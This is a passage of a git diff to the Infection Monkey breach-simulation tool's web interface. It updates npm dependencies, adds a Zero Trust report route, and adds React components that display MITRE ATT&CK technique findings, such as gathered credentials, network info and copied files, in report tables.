             "inherits": {
               "version": "2.0.3",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "ini": {
               "version": "1.3.5",
@@ -19232,7 +19445,6 @@
               "version": "1.0.0",
               "bundled": true,
               "dev": true,
-              "optional": true,
               "requires": {
                 "number-is-nan": "^1.0.0"
               }
@@ -19249,20 +19461,18 @@
               "dev": true,
               "optional": true,
               "requires": {
-                "brace-expansion": "1.1.11"
+                "brace-expansion": "^1.1.7"
               }
             },
             "minimist": {
               "version": "0.0.8",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "minipass": {
               "version": "2.2.4",
               "bundled": true,
               "dev": true,
-              "optional": true,
               "requires": {
                 "safe-buffer": "^5.1.1",
                 "yallist": "^3.0.0"
@@ -19281,7 +19491,6 @@
               "version": "0.5.1",
               "bundled": true,
               "dev": true,
-              "optional": true,
               "requires": {
                 "minimist": "0.0.8"
               }
@@ -19362,8 +19571,7 @@
             "number-is-nan": {
               "version": "1.0.1",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "object-assign": {
               "version": "4.1.1",
@@ -19375,7 +19583,6 @@
               "version": "1.4.0",
               "bundled": true,
               "dev": true,
-              "optional": true,
               "requires": {
                 "wrappy": "1"
               }
@@ -19461,8 +19668,7 @@
             "safe-buffer": {
               "version": "5.1.1",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "safer-buffer": {
               "version": "2.1.2",
@@ -19498,7 +19704,6 @@
               "version": "1.0.2",
               "bundled": true,
               "dev": true,
-              "optional": true,
               "requires": {
                 "code-point-at": "^1.0.0",
                 "is-fullwidth-code-point": "^1.0.0",
@@ -19518,7 +19723,6 @@
               "version": "3.0.1",
               "bundled": true,
               "dev": true,
-              "optional": true,
               "requires": {
                 "ansi-regex": "^2.0.0"
               }
@@ -19562,14 +19766,12 @@
             "wrappy": {
               "version": "1.0.2",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "yallist": {
               "version": "3.0.2",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             }
           }
         },
@@ -19979,7 +20181,7 @@
     "whatwg-fetch": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.0.0.tgz",
-      "integrity": "sha1-/IBORYzEYACbGiuWa8iBfSV4rvs="
+      "integrity": "sha512-9GSJUgz1D4MfyKU7KRqwOjXCXTqWdFNvEr7eUBYchQiVc744mqK/MzXPNR2WsPkmkOa4ywfg8C2n8h+13Bey1Q=="
     },
     "which": {
       "version": "1.3.0",
@@ -19998,7 +20200,7 @@
     "wide-align": {
       "version": "1.1.3",
       "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz",
-      "integrity": "sha1-rgdOa9wMFKQx6ATmJFScYzsABFc=",
+      "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==",
       "requires": {
         "string-width": "^1.0.2 || 2"
       }
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index a76541e36..4da085836 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -55,6 +55,7 @@
     "null-loader": "^0.1.1",
     "phantomjs-prebuilt": "^2.1.16",
     "react-addons-test-utils": "^15.6.2",
+    "react-event-timeline": "^1.6.3",
     "react-hot-loader": "^4.3.11",
     "rimraf": "^2.6.2",
     "style-loader": "^0.22.1",
@@ -64,12 +65,15 @@
     "webpack-dev-server": "^3.1.9"
   },
   "dependencies": {
+    "@emotion/core": "^10.0.10",
     "@kunukn/react-collapse": "^1.0.5",
-    "classnames": "^2.2.6",
     "bootstrap": "3.4.1",
+    "classnames": "^2.2.6",
     "core-js": "^2.5.7",
+    "d3": "^5.11.0",
     "downloadjs": "^1.4.7",
     "fetch": "^1.1.0",
+    "file-saver": "^2.0.2",
     "filepond": "^4.2.0",
     "js-file-download": "^0.4.4",
     "json-loader": "^0.5.7",
@@ -84,6 +88,7 @@
     "react-bootstrap": "^0.32.4",
     "react-copy-to-clipboard": "^5.0.1",
     "react-data-components": "^1.2.0",
+    "react-desktop-notification": "^1.0.9",
     "react-dimensions": "^1.3.0",
     "react-dom": "^16.5.2",
     "react-fa": "^5.0.0",
@@ -93,14 +98,13 @@
     "react-jsonschema-form": "^1.0.5",
     "react-redux": "^5.1.1",
     "react-router-dom": "^4.3.1",
+    "react-spinners": "^0.5.4",
     "react-table": "^6.8.6",
     "react-toggle": "^4.0.1",
     "react-tooltip-lite": "^1.9.1",
     "redux": "^4.0.0",
     "sass-loader": "^7.1.0",
     "sha3": "^2.0.0",
-    "react-spinners": "^0.5.4",
-    "@emotion/core": "^10.0.10",
-    "react-desktop-notification": "^1.0.9"
+    "pluralize": "^7.0.0"
   }
 }
diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js
index 619d5e922..09038292e 100644
--- a/monkey/monkey_island/cc/ui/src/components/Main.js
+++ b/monkey/monkey_island/cc/ui/src/components/Main.js
@@ -7,10 +7,10 @@ import RunServerPage from 'components/pages/RunServerPage';
 import ConfigurePage from 'components/pages/ConfigurePage';
 import RunMonkeyPage from 'components/pages/RunMonkeyPage';
 import MapPage from 'components/pages/MapPage';
-import PassTheHashMapPage from 'components/pages/PassTheHashMapPage';
 import TelemetryPage from 'components/pages/TelemetryPage';
 import StartOverPage from 'components/pages/StartOverPage';
 import ReportPage from 'components/pages/ReportPage';
+import ZeroTrustReportPage from 'components/pages/ZeroTrustReportPage';
 import LicensePage from 'components/pages/LicensePage';
 import AuthComponent from 'components/AuthComponent';
 import LoginPageComponent from 'components/pages/LoginPage';
@@ -29,6 +29,8 @@ let infectionMonkeyImage = require('../images/infection-monkey.svg');
 let guardicoreLogoImage = require('../images/guardicore-logo.png');
 let notificationIcon = require('../images/notification-logo-512x512.png');
 
+const reportZeroTrustRoute = '/report/zero_trust';
+
 class AppComponent extends AuthComponent {
   updateStatus = () => {
     this.auth.loggedIn()
@@ -148,7 +150,7 @@ class AppComponent extends AuthComponent {
                   </NavLink>
                 </li>
                 <li>
-                  <NavLink to="/report">
+                  <NavLink to="/report/security">
                     <span className="number">4.</span>
                     Security Report
                     {this.state.completedSteps.report_done ?
@@ -156,6 +158,15 @@ class AppComponent extends AuthComponent {
                       : ''}
                   </NavLink>
                 </li>
+                <li>
+                  <NavLink to="/report/zero_trust">
+                    <span className="number">5.</span>
+                    Zero Trust Report
+                    {this.state.completedSteps.report_done ?
+                      <Icon name="check" className="pull-right checkmark text-success"/>
+                      : ''}
+                  </NavLink>
+                </li>
                 <li>
                   <NavLink to="/start-over">
                     <span className="number"><i className="fa fa-undo" style={{'marginLeft': '-1px'}}/></span>
@@ -190,7 +201,8 @@ class AppComponent extends AuthComponent {
               {this.renderRoute('/infection/map', <MapPage onStatusChange={this.updateStatus}/>)}
               {this.renderRoute('/infection/telemetry', <TelemetryPage onStatusChange={this.updateStatus}/>)}
               {this.renderRoute('/start-over', <StartOverPage onStatusChange={this.updateStatus}/>)}
-              {this.renderRoute('/report', <ReportPage onStatusChange={this.updateStatus}/>)}
+              {this.renderRoute('/report/security', <ReportPage onStatusChange={this.updateStatus}/>)}
+              {this.renderRoute(reportZeroTrustRoute, <ZeroTrustReportPage onStatusChange={this.updateStatus}/>)}
               {this.renderRoute('/license', <LicensePage onStatusChange={this.updateStatus}/>)}
             </Col>
           </Row>
@@ -200,10 +212,11 @@ class AppComponent extends AuthComponent {
   }
 
   showInfectionDoneNotification() {
-    if (this.state.completedSteps.infection_done) {
-      let hostname = window.location.hostname;
-      let url = `https://${hostname}:5000/report`;
-      console.log("Trying to show notification. URL: " + url + " | icon: " + notificationIcon);
+    if (this.shouldShowNotification()) {
+      const hostname = window.location.hostname;
+      const port = window.location.port;
+      const protocol = window.location.protocol;
+      const url = `${protocol}//${hostname}:${port}${reportZeroTrustRoute}`;
 
       Notifier.start(
         "Monkey Island",
@@ -212,6 +225,11 @@ class AppComponent extends AuthComponent {
         notificationIcon);
     }
   }
+
+  shouldShowNotification() {
+    // No need to show the notification to redirect to the report if we're already in the report page
+    return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith("/report"));
+  }
 }
 
 AppComponent.defaultProps = {};
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
index 9885219ad..4d4f55dad 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
@@ -11,7 +11,47 @@ export function renderMachine(val){
 export function renderMachineFromSystemData(data) {
     let machineStr = data['hostname'] + " ( ";
     data['ips'].forEach(function(ipInfo){
-      machineStr += ipInfo['addr'] + " ";
+      if(typeof ipInfo === "object"){
+        machineStr += ipInfo['addr'] + ", ";
+      } else {
+         machineStr += ipInfo + ", ";
+      }
     });
-    return machineStr + ")"
+    // Replaces " ," with " )" to finish a list of IP's
+    return machineStr.slice(0, -2) + " )"
 }
+
+/* Formats telemetry data that contains _id.machine and _id.usage fields into columns
+   for react table. */
+export function getUsageColumns() {
+    return ([{
+      columns: [
+        {Header: 'Machine',
+          id: 'machine',
+          accessor: x => renderMachineFromSystemData(x.machine),
+          style: { 'whiteSpace': 'unset' },
+          width: 300},
+        {Header: 'Usage',
+          id: 'usage',
+          accessor: x => x.usage,
+          style: { 'whiteSpace': 'unset' }}]
+    }])}
+
+/* Renders table fields that contains 'used' boolean value and 'name' string value.
+'Used' value determines if 'name' value will be shown.
+ */
+export function renderUsageFields(usages){
+    let output = [];
+    usages.forEach(function(usage){
+      if(usage['used']){
+        output.push(<div key={usage['name']}>{usage['name']}</div>)
+      }
+    });
+    return (<div>{output}</div>);
+  }
+
+export const ScanStatus = {
+    UNSCANNED: 0,
+    SCANNED: 1,
+    USED: 2
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
index d7783714a..24d742c14 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
@@ -1,7 +1,8 @@
 import React from 'react';
 import '../../../styles/Collapse.scss'
-import '../../report-components/StolenPasswords'
-import StolenPasswordsComponent from "../../report-components/StolenPasswords";
+import '../../report-components/security/StolenPasswords'
+import StolenPasswordsComponent from "../../report-components/security/StolenPasswords";
+import {ScanStatus} from "./Helpers"
 
 
 class T1003 extends React.Component {
@@ -15,7 +16,7 @@ class T1003 extends React.Component {
       <div>
         <div>{this.props.data.message}</div>
         <br/>
-        {this.props.data.status === 'USED' ?
+        {this.props.data.status === ScanStatus.USED ?
           <StolenPasswordsComponent data={this.props.reportData.glance.stolen_creds.concat(this.props.reportData.glance.ssh_keys)}/>
           : ""}
       </div>
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js
new file mode 100644
index 000000000..6d46c2285
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js
@@ -0,0 +1,38 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import {renderMachineFromSystemData, ScanStatus} from "./Helpers";
+
+class T1005 extends React.Component {
+
+  constructor(props) {
+    super(props);
+  }
+
+  static getDataColumns() {
+    return ([{
+      Header: "Sensitive data",
+      columns: [
+        {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
+        {Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }},
+        {Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }},
+        ]}])};
+
+  render() {
+    return (
+      <div>
+        <div>{this.props.data.message}</div>
+        <br/>
+        {this.props.data.status === ScanStatus.USED ?
+          <ReactTable
+              columns={T1005.getDataColumns()}
+              data={this.props.data.collected_data}
+              showPagination={false}
+              defaultPageSize={this.props.data.collected_data.length}
+          /> : ""}
+      </div>
+    );
+  }
+}
+
+export default T1005;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js
new file mode 100644
index 000000000..63e2bb4a5
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js
@@ -0,0 +1,39 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
+
+
+class T1016 extends React.Component {
+
+  constructor(props) {
+    super(props);
+  }
+
+  static getNetworkInfoColumns() {
+    return ([{
+      Header: "Network configuration info gathered",
+      columns: [
+        {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
+        {Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }},
+        ]
+    }])};
+
+  render() {
+    return (
+      <div>
+        <div>{this.props.data.message}</div>
+        <br/>
+        {this.props.data.status === ScanStatus.USED ?
+          <ReactTable
+              columns={T1016.getNetworkInfoColumns()}
+              data={this.props.data.network_info}
+              showPagination={false}
+              defaultPageSize={this.props.data.network_info.length}
+          /> : ""}
+      </div>
+    );
+  }
+}
+
+export default T1016;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js
new file mode 100644
index 000000000..dcf7687db
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js
@@ -0,0 +1,48 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers"
+
+
+class T1018 extends React.Component {
+
+  constructor(props) {
+    super(props);
+  }
+
+  static renderMachines(machines){
+    let output = [];
+    machines.forEach(function(machine){
+      output.push(renderMachine(machine))
+    });
+    return (<div>{output}</div>);
+  }
+
+  static getScanInfoColumns() {
+    return ([{
+      columns: [
+        {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }},
+        {Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }},
+        {Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }},
+        {Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }},
+        ]
+    }])};
+
+  render() {
+    return (
+      <div>
+        <div>{this.props.data.message}</div>
+        <br/>
+        {this.props.data.status === ScanStatus.USED ?
+          <ReactTable
+              columns={T1018.getScanInfoColumns()}
+              data={this.props.data.scan_info}
+              showPagination={false}
+              defaultPageSize={this.props.data.scan_info.length}
+          /> : ""}
+      </div>
+    );
+  }
+}
+
+export default T1018;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js
new file mode 100644
index 000000000..ce8688af1
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js
@@ -0,0 +1,44 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachine, ScanStatus } from "./Helpers"
+
+
+class T1021 extends React.Component {
+
+  constructor(props) {
+    super(props);
+  }
+
+  static getServiceColumns() {
+    return ([{
+      columns: [
+        {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
+          style: { 'whiteSpace': 'unset' }, width: 160},
+        {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
+        {Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
+        ]
+    }])};
+
+  static renderCreds(creds) {
+    return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>
+  };
+
+  render() {
+    return (
+      <div>
+        <div>{this.props.data.message}</div>
+        <br/>
+        {this.props.data.status === ScanStatus.USED ?
+          <ReactTable
+            columns={T1021.getServiceColumns()}
+            data={this.props.data.services}
+            showPagination={false}
+            defaultPageSize={this.props.data.services.length}
+          /> : ""}
+      </div>
+    );
+  }
+}
+
+export default T1021;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js
new file mode 100644
index 000000000..7345ca497
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js
@@ -0,0 +1,30 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { getUsageColumns } from "./Helpers"
+
+
+class T1035 extends React.Component {
+
+  constructor(props) {
+    super(props);
+  }
+
+  render() {
+    return (
+      <div>
+        <div>{this.props.data.message}</div>
+        <br/>
+        {this.props.data.services.length !== 0 ?
+          <ReactTable
+              columns={getUsageColumns()}
+              data={this.props.data.services}
+              showPagination={false}
+              defaultPageSize={this.props.data.services.length}
+          /> : ""}
+      </div>
+    );
+  }
+}
+
+export default T1035;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js
new file mode 100644
index 000000000..3d6b45d08
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js
@@ -0,0 +1,37 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import {ScanStatus} from "./Helpers";
+
+class T1041 extends React.Component {
+
+  constructor(props) {
+    super(props);
+  }
+
+  static getC2Columns() {
+    return ([{
+      Header: "Data exfiltration channels",
+      columns: [
+        {Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }},
+        {Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }}
+        ]}])};
+
+  render() {
+    return (
+      <div>
+        <div>{this.props.data.message}</div>
+        <br/>
+        {this.props.data.status === ScanStatus.USED ?
+          <ReactTable
+              columns={T1041.getC2Columns()}
+              data={this.props.data.command_control_channel}
+              showPagination={false}
+              defaultPageSize={this.props.data.command_control_channel.length}
+          /> : ""}
+      </div>
+    );
+  }
+}
+
+export default T1041;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
index 57d5bcb2c..4651f5c41 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
@@ -1,7 +1,7 @@
 import React from 'react';
 import '../../../styles/Collapse.scss'
 import ReactTable from "react-table";
-import { renderMachine } from "./Helpers"
+import { renderMachine, ScanStatus } from "./Helpers"
 
 
 class T1059 extends React.Component {
@@ -25,7 +25,7 @@ class T1059 extends React.Component {
       <div>
         <div>{this.props.data.message}</div>
         <br/>
-        {this.props.data.status === 'USED' ?
+        {this.props.data.status === ScanStatus.USED ?
           <ReactTable
               columns={T1059.getCommandColumns()}
               data={this.props.data.cmds}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js
new file mode 100644
index 000000000..f57abd4b8
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js
@@ -0,0 +1,30 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { getUsageColumns } from "./Helpers"
+
+
+class T1064 extends React.Component {
+
+  constructor(props) {
+    super(props);
+  }
+
+  render() {
+    return (
+      <div>
+        <div>{this.props.data.message}</div>
+        <br/>
+        {this.props.data.scripts.length !== 0 ?
+          <ReactTable
+              columns={getUsageColumns()}
+              data={this.props.data.scripts}
+              showPagination={false}
+              defaultPageSize={this.props.data.scripts.length}
+          /> : ""}
+      </div>
+    );
+  }
+}
+
+export default T1064;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
index 13c1e39e2..3cd12560b 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
@@ -1,7 +1,7 @@
 import React from 'react';
 import '../../../styles/Collapse.scss'
 import ReactTable from "react-table";
-import { renderMachine } from "./Helpers"
+import { renderMachine, ScanStatus } from "./Helpers"
 
 
 class T1075 extends React.Component {
@@ -34,7 +34,7 @@ class T1075 extends React.Component {
       <div>
         <div>{this.props.data.message}</div>
         <br/>
-        {this.props.data.status === 'USED' ?
+        {this.props.data.status === ScanStatus.USED ?
           <ReactTable
               columns={T1075.getHashColumns()}
               data={this.props.data.successful_logins}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js
index 739c69bc5..8570ab1b0 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js
@@ -1,7 +1,7 @@
 import React from 'react';
 import '../../../styles/Collapse.scss'
 import ReactTable from "react-table";
-import { renderMachineFromSystemData } from "./Helpers"
+import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
 
 
 class T1082 extends React.Component {
@@ -10,21 +10,11 @@ class T1082 extends React.Component {
     super(props);
   }
 
-  static renderCollections(collections){
-    let output = [];
-    collections.forEach(function(collection){
-      if(collection['used']){
-        output.push(<div key={collection['name']}>{collection['name']}</div>)
-      }
-    });
-    return (<div>{output}</div>);
-  }
-
   static getSystemInfoColumns() {
     return ([{
       columns: [
         {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
-        {Header: 'Gathered info', id: 'info', accessor: x => T1082.renderCollections(x.collections), style: { 'whiteSpace': 'unset' }},
+        {Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }},
         ]
     }])};
 
@@ -33,7 +23,7 @@ class T1082 extends React.Component {
       <div>
         <div>{this.props.data.message}</div>
         <br/>
-        {this.props.data.status === 'USED' ?
+        {this.props.data.status === ScanStatus.USED ?
           <ReactTable
               columns={T1082.getSystemInfoColumns()}
               data={this.props.data.system_info}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
index d6d22c093..db75d8dda 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js
@@ -1,7 +1,7 @@
 import React from 'react';
 import '../../../styles/Collapse.scss'
 import ReactTable from "react-table";
-import { renderMachine } from "./Helpers"
+import { renderMachine, ScanStatus } from "./Helpers"
 
 
 class T1086 extends React.Component {
@@ -25,7 +25,7 @@ class T1086 extends React.Component {
       <div>
         <div>{this.props.data.message}</div>
         <br/>
-        {this.props.data.status === 'USED' ?
+        {this.props.data.status === ScanStatus.USED ?
           <ReactTable
               columns={T1086.getPowershellColumns()}
               data={this.props.data.cmds}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js
new file mode 100644
index 000000000..934e76694
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js
@@ -0,0 +1,39 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+
+
+class T1090 extends React.Component {
+
+  constructor(props) {
+    super(props);
+  }
+
+  static getProxyColumns() {
+    return ([{
+      columns: [
+        {Header: 'Machines',
+          id: 'machine',
+          accessor: x => renderMachineFromSystemData(x),
+          style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}])
+  };
+
+  render() {
+    return (
+      <div>
+        <div>{this.props.data.message}</div>
+        <br/>
+        {this.props.data.status === ScanStatus.USED ?
+          <ReactTable
+              columns={T1090.getProxyColumns()}
+              data={this.props.data.proxies}
+              showPagination={false}
+              defaultPageSize={this.props.data.proxies.length}
+          /> : ""}
+      </div>
+    );
+  }
+}
+
+export default T1090;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js
new file mode 100644
index 000000000..8acd48c4b
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js
@@ -0,0 +1,40 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { ScanStatus } from "./Helpers"
+
+
+class T1105 extends React.Component {
+
+  constructor(props) {
+    super(props);
+  }
+
+  static getFilesColumns() {
+    return ([{
+      Header: 'Files copied',
+      columns: [
+        {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 },
+        {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170},
+        {Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}},
+        ]
+    }])};
+
+  render() {
+    return (
+      <div>
+        <div>{this.props.data.message}</div>
+        <br/>
+        {this.props.data.status !== ScanStatus.UNSCANNED ?
+          <ReactTable
+              columns={T1105.getFilesColumns()}
+              data={this.props.data.files}
+              showPagination={false}
+              defaultPageSize={this.props.data.files.length}
+          /> : ""}
+      </div>
+    );
+  }
+}
+
+export default T1105;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js
new file mode 100644
index 000000000..a3210b73c
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js
@@ -0,0 +1,30 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { getUsageColumns } from "./Helpers"
+
+
+class T1106 extends React.Component {
+
+  constructor(props) {
+    super(props);
+  }
+
+  render() {
+    return (
+      <div>
+        <div>{this.props.data.message}</div>
+        <br/>
+        {this.props.data.api_uses.length !== 0 ?
+          <ReactTable
+              columns={getUsageColumns()}
+              data={this.props.data.api_uses}
+              showPagination={false}
+              defaultPageSize={this.props.data.api_uses.length}
+          /> : ""}
+      </div>
+    );
+  }
+}
+
+export default T1106;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js
new file mode 100644
index 000000000..d80dc3f0e
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js
@@ -0,0 +1,47 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+
+
+class T1107 extends React.Component {
+
+  constructor(props) {
+    super(props);
+  }
+
+  static renderDelete(status){
+    if(status === ScanStatus.USED){
+      return <span>Yes</span>
+    } else {
+      return <span>No</span>
+    }
+  }
+
+  static getDeletedFileColumns() {
+    return ([{
+      columns: [
+        {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x._id.machine), style: { 'whiteSpace': 'unset' }},
+        {Header: 'Path', id: 'path', accessor: x => x._id.path, style: { 'whiteSpace': 'unset' }},
+        {Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
+          style: { 'whiteSpace': 'unset' }, width: 160}]
+    }])};
+
+  render() {
+    return (
+      <div>
+        <div>{this.props.data.message}</div>
+        <br/>
+        {this.props.data.deleted_files.length !== 0 ?
+          <ReactTable
+              columns={T1107.getDeletedFileColumns()}
+              data={this.props.data.deleted_files}
+              showPagination={false}
+              defaultPageSize={this.props.data.deleted_files.length}
+          /> : ""}
+      </div>
+    );
+  }
+}
+
+export default T1107;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
index 294606d25..da9682da3 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
@@ -1,7 +1,7 @@
 import React from 'react';
 import '../../../styles/Collapse.scss'
 import ReactTable from "react-table";
-import { renderMachine } from "./Helpers"
+import { renderMachine, ScanStatus } from "./Helpers"
 
 
 class T1110 extends React.Component {
@@ -32,7 +32,7 @@ class T1110 extends React.Component {
       <div>
         <div>{this.props.data.message}</div>
         <br/>
-        {(this.props.data.status === 'SCANNED' || this.props.data.status === 'USED') ?
+        {this.props.data.status !== ScanStatus.UNSCANNED ?
           <ReactTable
             columns={T1110.getServiceColumns()}
             data={this.props.data.services}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js
new file mode 100644
index 000000000..64db13f81
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js
@@ -0,0 +1,29 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
